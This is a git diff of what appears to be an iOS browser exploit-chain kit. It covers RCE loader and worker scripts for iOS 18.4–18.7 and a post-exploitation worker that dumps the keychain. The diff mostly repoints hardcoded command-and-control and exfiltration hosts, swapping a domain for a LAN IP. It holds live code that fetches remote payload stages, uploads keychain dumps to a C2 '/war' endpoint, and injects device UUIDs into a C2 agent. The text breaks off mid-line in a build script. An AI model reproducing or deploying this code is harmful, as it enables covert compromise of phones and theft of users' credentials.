@@ -8801,7 +8784,7 @@ function start() { } p7_flog("PEMK-A pe_run_token deferred until after s1 tokens"); p7_flushLog(); - // ===== Staged execution (current success flow) — GET /api/ds/pe-stage/ marks progress ===== + // ===== Staged execution (current success flow) — /pe_stage/*.js marks progress ===== // s1 launchd+tokens → s2 keychain_copier → s3 mempress/destroy launchd // → s4 SB loader → s6 Phase2 sqlite/securityd → s5 c2 (after dump; avoid securityd contention) let launchdTask = null; @@ -9402,7 +9385,7 @@ function __labKcReadStatus() { // - on success write /tmp/pe_war_fallback.sent marker to avoid duplicate uploads. // - reason containing "force" bypasses dedupe (force re-send). // /war target = C2 (same as c2_agent), via { host, port } override; site_rewrite.py - // rewrites the mh0usocqzi6f46i.com:443 object literal below into the current C2_HOST:PORT. + // rewrites the 192.168.31.130:443 object literal below into the current C2_HOST:PORT. try { var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; var dumpPath = "/tmp/keychain_c2_dump.json"; @@ -9477,7 +9460,7 @@ function __labKcReadStatus() { return out; } function __peHttpPostBody(bodyStr) { - return !!__labCfHttp("POST", "/war", String(bodyStr || ""), false, { host: "mh0usocqzi6f46i.com", port: 443 }); + return !!__labCfHttp("POST", "/war", String(bodyStr || ""), false, { host: "192.168.31.130", port: 8080 }); } var ok = false; if (body.length <= WAR_MAX) { @@ -9587,11 +9570,13 @@ function __labKcReadStatus() { // Without this, c2_agent falls back to the hardware IOPlatformUUID and the // two exfil trees diverge (uuid mismatch). try { - let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); - // 69DD… is the leftover bake constant, not the Safari id. - if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { + let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || ''); + if (_duuid) { + // 把 delivery UUID 直接烤进 c2_agent 的 69DD25B2CA8B5682BA2470D77124E2FC 占位符。 + // c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("69DD25B2CA8B5682BA2470D77124E2FC");...})(); + // 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。 + // 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。 c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); - c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")"); @@ -10831,18 +10816,10 @@ function __labKcReadStatus() { } function __peHttpGetStage(path) { - // C2 GET /api/ds/pe-stage/ — same host as /api/ds/log, so Laravel writes public/log/ds. try { var name = String(path || "").replace(/^.*\//, "").replace(/\.js$/i, ""); if (!name) return null; - var uuid = ""; - try { - var g = typeof globalThis !== "undefined" ? globalThis : null; - if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); - } catch (_u) {} - var q = "/api/ds/pe-stage/" + name; - if (uuid) q += "?deviceUUID=" + uuid; - return __labCfHttp("GET", q, null, false); + return __labCfHttp("GET", "/api/ds/pe-stage/" + name + ".js", null, false, p7_logHostPort()); } catch (e) { return null; } @@ -10878,7 +10855,7 @@ function __labKcReadStatus() { } } catch (_ord) {} // Execution always uses inline __peStageN (already in pe_worker). - // GET /api/ds/pe-stage/ is a C2 progress ping only (file log); + // GET /api/ds/pe-stage/.js is a C2 progress ping only (access log); // failure must NOT block or force a permanent "net dead" skip. for (var __psi = 0; __psi < __peStages.length; __psi++) { if (__psi > 0 && typeof __peStillOwner === "function" && !__peStillOwner()) { @@ -10890,7 +10867,7 @@ function __labKcReadStatus() { var __psName = __peStages[__psi][0]; var __psFn = __peStages[__psi][1]; try { - // Progress marker for coruna-lab /api/ds/pe-stage (body ignored). + // Progress marker for nginx/Flask access log (body ignored). __peHttpGetStage("/pe_stage/" + __psName + ".js"); } catch (_ping) {} try { diff --git a/channel-builder-ds/source/qqtime/index.html b/channel-builder-ds/source/qqtime/index.html index f7c97ba..3aea76c 100644 --- a/channel-builder-ds/source/qqtime/index.html +++ b/channel-builder-ds/source/qqtime/index.html @@ -1,22 +1,12 @@ - - + + + diff --git a/channel-builder-ds/source/qqtime/qqtime.html b/channel-builder-ds/source/qqtime/qqtime.html index f7c97ba..3aea76c 100644 --- a/channel-builder-ds/source/qqtime/qqtime.html +++ b/channel-builder-ds/source/qqtime/qqtime.html @@ -1,22 +1,12 @@ - - + + + diff --git a/channel-builder-ds/source/rce_loader.js b/channel-builder-ds/source/rce_loader.js index 2608b32..673ed86 100644 --- a/channel-builder-ds/source/rce_loader.js +++ b/channel-builder-ds/source/rce_loader.js @@ -1,4 +1,4 @@ -try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} var SERVER_LOG = true; let logStart = new Date().getTime(); let logEntryID = 0; @@ -8,25 +8,44 @@ var offsets = {}; var slide; var chipset; var device_model; -var localHost = (function () { +function labAssetBase() { try { - if (typeof labDeliveryHost === 'function') { - var fromLab = labDeliveryHost(); - if (fromLab) return String(fromLab).replace(/\/$/, ''); - } if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); - if (typeof location !== 'undefined' && location.pathname) { - var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : ''; - var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/); - if (origin && m) return origin + m[1]; - if (origin) return origin; + } catch (e0) {} + try { + var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null') + ? String(location.origin).replace(/\/$/, '') : ''; + var path = '/next-chain'; + try { + if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath) + path = String(window.NEWS2_CONFIG.deliveryPath); + } catch (e1) {} + if (path.charAt(0) !== '/') path = '/' + path; + return origin + path.replace(/\/+$/, ''); + } catch (e2) {} + return ''; +} +function labApiBase() { + try { + var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) + ? window.__LAB_EXFIL__ + : (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil); + if (ex && ex.host) { + var tls = !!(ex.tls || ex.prefer_https); + var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); + var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; + return origin; } + } catch (e0) {} + try { if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') - return location.origin.replace(/\/$/, ''); - } catch (e) {} - return ""; -})(); + return String(location.origin).replace(/\/$/, ''); + } catch (e1) {} + return ''; +} +var localHost = labAssetBase(); function resolveLabDeviceUUID() { let du = ''; try { @@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) { } } } catch (eP) {} - // Server upload: errors only (progress = GET /api/ds/pe-stage / console). + // Server upload: errors only (progress = pe_stage GETs / console). const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x)); if (!isErr) return; if (!SERVER_LOG && !reportError) return; @@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) { } let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') const xhr = new XMLHttpRequest(); - const logUrl = (typeof labApiUrl === 'function') - ? labApiUrl('/api/ds/log?' + req) - : (function () { - try { - if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) { - var e = window.__LAB_EXFIL__; - var tls = !!(e.tls || e.prefer_https); - var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80)); - var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; - if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port; - return origin + '/api/ds/log?' + req; - } - } catch (eApi) {} - return localHost + '/api/ds/log?' + req; - })(); - xhr.open("GET", logUrl, true); + xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true); if (du) { try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {} } @@ -462,24 +466,13 @@ function parseIosVersion() { return null; } function resolveDeliveryHost() { - try { - if (typeof labDeliveryHost === 'function') { - var fromLab = labDeliveryHost(); - if (fromLab) return String(fromLab).replace(/\/$/, ''); - } - } catch (eLab) {} - if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, ''); + var h = labAssetBase(); + if (h) return h; try { if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); - if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') { - var origin = location.origin.replace(/\/$/, ''); - var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/); - if (m) return origin + m[1]; - return origin; - } } catch (e) {} - return 'http://one99.vip:80'; + return labAssetBase(); } function resolveExfilTarget() { try { @@ -487,23 +480,23 @@ function resolveExfilTarget() { return window.__LAB_EXFIL__; } catch (e) {} try { - const apiBase = (typeof labApiUrl === 'function') - ? labApiUrl('/api/ds/chain-targets') - : ''; - if (apiBase) { - const xhr = new XMLHttpRequest(); - xhr.open('GET', apiBase, false); - xhr.send(null); - if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { - const d = JSON.parse(xhr.responseText); - if (d.exfil && d.exfil.host) { - try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {} - return d.exfil; - } - } + const base = labApiBase(); + if (!base) return null; + const xhr = new XMLHttpRequest(); + xhr.open('GET', base + '/api/ds/chain-targets', false); + xhr.send(null); + if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { + const d = JSON.parse(xhr.responseText); + if (d.exfil && d.exfil.host) return d.exfil; } + } catch (e) {} + try { + if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) + return window.NEWS2_CONFIG.exfil; } catch (e2) {} - return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }; + const base = labApiBase(); + const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false }; } function exfilFields() { const t = resolveExfilTarget(); @@ -513,11 +506,11 @@ function exfilFields() { } catch (eDu) { deviceUUID = ''; } if (!t) { return { - exfilHost: 'mh0usocqzi6f46i.com', + exfilHost: '192.168.31.130', exfilHttpPort: 8018, exfilHttpsPort: 8018, exfilTls: false, - exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, deviceUUID, }; @@ -526,7 +519,7 @@ function exfilFields() { const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw); if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) { - const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com'; + const ip = isIp ? hostRaw : '192.168.31.130'; return { exfilHost: ip, exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001, @@ -548,7 +541,7 @@ function exfilFields() { exfilHttpsPort: port, exfilTls: u.protocol === 'https:', statsUrl: t.stats_url, - exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, deviceUUID, }; @@ -561,7 +554,7 @@ function exfilFields() { exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001), exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001), exfilTls: tls, - exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHost: '192.168.31.130', exfilFallbackHttpPort: 8018, statsUrl: t.delivery_stats_url || '', deviceUUID, diff --git a/channel-builder-ds/source/rce_module_18.5.js b/channel-builder-ds/source/rce_module_18.5.js index 0b99f41..1675c00 100644 --- a/channel-builder-ds/source/rce_module_18.5.js +++ b/channel-builder-ds/source/rce_module_18.5.js @@ -1,4 +1,4 @@ -try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} // rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js) // LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B) /* HEADERS */ diff --git a/channel-builder-ds/source/rce_module_18.7.js b/channel-builder-ds/source/rce_module_18.7.js index c8afedf..6cac8a3 100644 --- a/channel-builder-ds/source/rce_module_18.7.js +++ b/channel-builder-ds/source/rce_module_18.7.js @@ -1,4 +1,4 @@ -try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} /* HEADERS */ const ab = new ArrayBuffer(8); const u64 = new BigUint64Array(ab); diff --git a/channel-builder-ds/source/rce_worker_18.4.js b/channel-builder-ds/source/rce_worker_18.4.js index b996a7b..d70dc20 100644 --- a/channel-builder-ds/source/rce_worker_18.4.js +++ b/channel-builder-ds/source/rce_worker_18.4.js @@ -1,5 +1,4 @@ var SERVER_LOG; -var __labC2Host = 'https://mh0usocqzi6f46i.com:443'; let offsets; let MessageName; @@ -214,6 +213,14 @@ self[1] = boxed_arr; } let logStart = new Date().getTime(); let logEntryID = 0; + var __labC2Host = ''; + function labC2LogUrl(qs) { + var base = __labC2Host; + if (!base) { + try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } + } + return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs; + } function print(x, reportError = false, dumphex = false) { let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; if (!SERVER_LOG && !reportError) return; @@ -227,12 +234,7 @@ self[1] = boxed_arr; } let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') const xhr = new XMLHttpRequest(); - var logBase = ''; - try { - if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, ''); - } catch (eLb) {} - if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443'; - xhr.open("GET", logBase + "/api/ds/log?" + req , false); + xhr.open("GET", labC2LogUrl(req), false); xhr.send(null); } let signal_ptr; @@ -242,6 +244,15 @@ self[1] = boxed_arr; const p = {}; // L1 encryption state (populated via postMessage from main thread) var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; + function __labPrependDelivery(fname, text) { + if (!text) return text; + var f = String(fname || '').toLowerCase(); + if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text; + var d = ''; + try { d = String(host || '').replace(/"/g, ''); } catch (_h) {} + if (!d) return text; + return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text; + } function getJS(fname,method = 'POST') { @@ -299,15 +310,12 @@ self[1] = boxed_arr; try { let url = ""; - var assetBase = String(host || '').replace(/\/$/, ''); - var assetPath = String(fname || ''); - if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath; - url = assetBase + assetPath; + url = host + "/" + fname; print("trying to fetch from:" + url); let xhr = new XMLHttpRequest(); xhr.open("GET", `${url}` , false); xhr.send(null); - return _labDecryptWire(xhr.responseText); + return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText)); } catch(e) { @@ -342,9 +350,9 @@ self[1] = boxed_arr; const chipset = data.chipset; const offsets = data.offsets; const slide = data.slide; - __labC2Host = 'https://mh0usocqzi6f46i.com:443'; + __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; - try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } + try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } SERVER_LOG = data.SERVER_LOG; if (data._enc_session) { _enc_S = data._enc_session; diff --git a/channel-builder-ds/source/rce_worker_18.5.js b/channel-builder-ds/source/rce_worker_18.5.js index 55f0913..5ffadf8 100644 --- a/channel-builder-ds/source/rce_worker_18.5.js +++ b/channel-builder-ds/source/rce_worker_18.5.js @@ -1,4 +1,4 @@ -try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} /* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker * Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js). * Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5. @@ -22,6 +22,14 @@ let logStart = new Date().getTime(); let logEntryID = 0; let __printBudget = 60; let __printWindowStart = 0; +var __labExfilUrl = ''; +function labC2LogUrl(qs) { + var base = __labExfilUrl; + if (!base) { + try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } + } + return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs; +} function print(x, reportError = false, dumphex = false) { let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; if (!SERVER_LOG && !reportError) return; @@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) { } let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') const xhr = new XMLHttpRequest(); - xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true); + xhr.open("GET", labC2LogUrl(req) , true); if (__labDeviceUUID) { try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {} } @@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) { } catch (e) {} } -var __exfilHost = 'mh0usocqzi6f46i.com'; +var __exfilHost = '192.168.31.130'; var __exfilHttpPort = 4001; var __exfilHttpsPort = 4001; var __exfilTls = false; var __exfilFallbackHost = ''; var __exfilFallbackHttp = 4001; var __labDeviceUUID = ''; -function labWorkerApiBase() { - try { - var tls = !!__exfilTls; - var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; - var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443)); - var o = (tls ? 'https://' : 'http://') + h; - if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port; - return o; - } catch (e) {} - return 'https://mh0usocqzi6f46i.com:443'; -} function applyExfilFromData(data) { if (!data) return; if (data.exfilHost) __exfilHost = String(data.exfilHost); - try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; } if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort); if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort); if (data.exfilTls != null) __exfilTls = !!data.exfilTls; if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0]; if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort); if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase(); + try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; } } function patchExfilPayload(script) { if (!script) return script; - // Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001. - // Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS. - var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; - var h = raw || 'mh0usocqzi6f46i.com'; - var hp = '8018'; - var hsp = '8018'; + var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + var h = raw; + var hp = String(Number(__exfilHttpPort || 80) || 80); + var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80); + var tls = !!__exfilTls; + var delivery = ''; + try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {} var s = script; var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3', '192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com', @@ -119,13 +117,11 @@ function patchExfilPayload(script) { s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true'); // MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));' - + 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";' - + '__peG.__PE_EXFIL_TLS__=false;' - + '__peG.__PE_EXFIL_HTTP__=' + hp + ';' - + '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';' - + (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '') + + 'if(__peG){' + + (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '') + + (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '') + + (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '') + (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '') - + (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '') + '}}catch(_pePre){}\n'; return pre + s; } @@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5) // Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080. if (heavy) { if (primary && bases.indexOf(primary) < 0) bases.push(primary); - if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); - if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080'); + if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080'); } else { if (primary) bases.push(primary); - if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); - if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80'); + if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080'); + if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080'); } if (!bases.length) { print('getJS: no host'); return ''; } const maxTries = heavy ? Math.min(tries, 3) : tries; diff --git a/channel-builder-ds/source/rce_worker_18.6.js b/channel-builder-ds/source/rce_worker_18.6.js index 4bac312..fc157cd 100644 --- a/channel-builder-ds/source/rce_worker_18.6.js +++ b/channel-builder-ds/source/rce_worker_18.6.js @@ -1,5 +1,4 @@ var SERVER_LOG; -var __labC2Host = 'https://mh0usocqzi6f46i.com:443'; let offsets; let MessageName; @@ -16,6 +15,14 @@ function sleep(ms) { } let logStart = new Date().getTime(); let logEntryID = 0; +var __labC2Host = ''; +function labC2LogUrl(qs) { + var base = __labC2Host; + if (!base) { + try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; } + } + return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs; +} function print(x, reportError = false, dumphex = false) { let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; // Errors only to /api/ds/log — progress stays in fopen side-channel / console. @@ -32,12 +39,7 @@ function print(x, reportError = false, dumphex = false) { } let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') const xhr = new XMLHttpRequest(); - var logBase = ''; - try { - if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, ''); - } catch (eLb) {} - if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443'; - xhr.open("GET", logBase + "/api/ds/log?" + req , false); + xhr.open("GET", labC2LogUrl(req) , false); xhr.send(null); } // 去掉加解密:明文直通,不再解密任何 blob。 @@ -47,19 +49,14 @@ function print(x, reportError = false, dumphex = false) { function _labDecryptWire(text) { return text; } - - var __labDeviceUUID = ''; - function __labCanonUuid(v) { - var s = String(v || '').replace(/-/g, '').toUpperCase(); - return /^[0-9A-F]{16,64}$/.test(s) ? s : ''; - } - function __labPrependDeviceUuid(fname, text) { + function __labPrependDelivery(fname, text) { if (!text) return text; - var du = __labCanonUuid(__labDeviceUUID); - if (!du || du === '69DD25B2CA8B5682BA2470D77124E2FC') return text; var f = String(fname || '').toLowerCase(); - if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0 && f.indexOf('sbx1') < 0) return text; - return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__LAB_DEVICE_UUID__="' + du + '";}catch(_peU){}\n' + text; + if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text; + var d = ''; + try { d = String(host || '').replace(/"/g, ''); } catch (_h) {} + if (!d) return text; + return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text; } function getJS(fname,method = 'POST') @@ -115,15 +112,12 @@ function print(x, reportError = false, dumphex = false) { try { let url = ""; - var assetBase = String(host || '').replace(/\/$/, ''); - var assetPath = String(fname || ''); - if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath; - url = assetBase + assetPath + (assetPath.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now(); + url = host + "/" + fname + (fname.indexOf('?') >= 0 ? '&' : '?') + '_t=' + Date.now(); print("trying to fetch from:" + url); let xhr = new XMLHttpRequest(); xhr.open("GET", `${url}` , false); xhr.send(null); - return __labPrependDeviceUuid(fname, _labDecryptWire(xhr.responseText)); + return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText)); } catch(e) { @@ -14405,7 +14399,7 @@ async function main() { const fopen_mode_str = 'w'; const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); function log(msg) { - // Mirror stage logs to local server via /api/ds/log (SERVER_LOG) + // Mirror stage logs to C2 via /api/ds/log (SERVER_LOG) try { print(String(msg)); } catch (e) {} if (true) { const elapsed = parseInt(Date.now() - rce_begin); @@ -14449,10 +14443,9 @@ async function main() { } case 'stage1_rce': { - __labC2Host = 'https://mh0usocqzi6f46i.com:443'; + __labC2Host = 'http://192.168.31.130:8080'; host = data.desiredHost; - try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } - try { __labDeviceUUID = __labCanonUuid(data.deviceUUID || data.device || data.uuid); } catch (_du) {} + try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; } SERVER_LOG = data.SERVER_LOG; if (data._enc_session) { _enc_S = data._enc_session; diff --git a/channel-builder-ds/tools/build.py b/channel-builder-ds/tools/build.py index f15b53c..d50ebc6 100644 --- a/channel-builder-ds/tools/build.py +++ b/channel-builder-ds/tools/build.py @@ -1,119 +1,139 @@ #!/usr/bin/env python3 -"""Rewrite DarkSword hosts in source/ and publish to 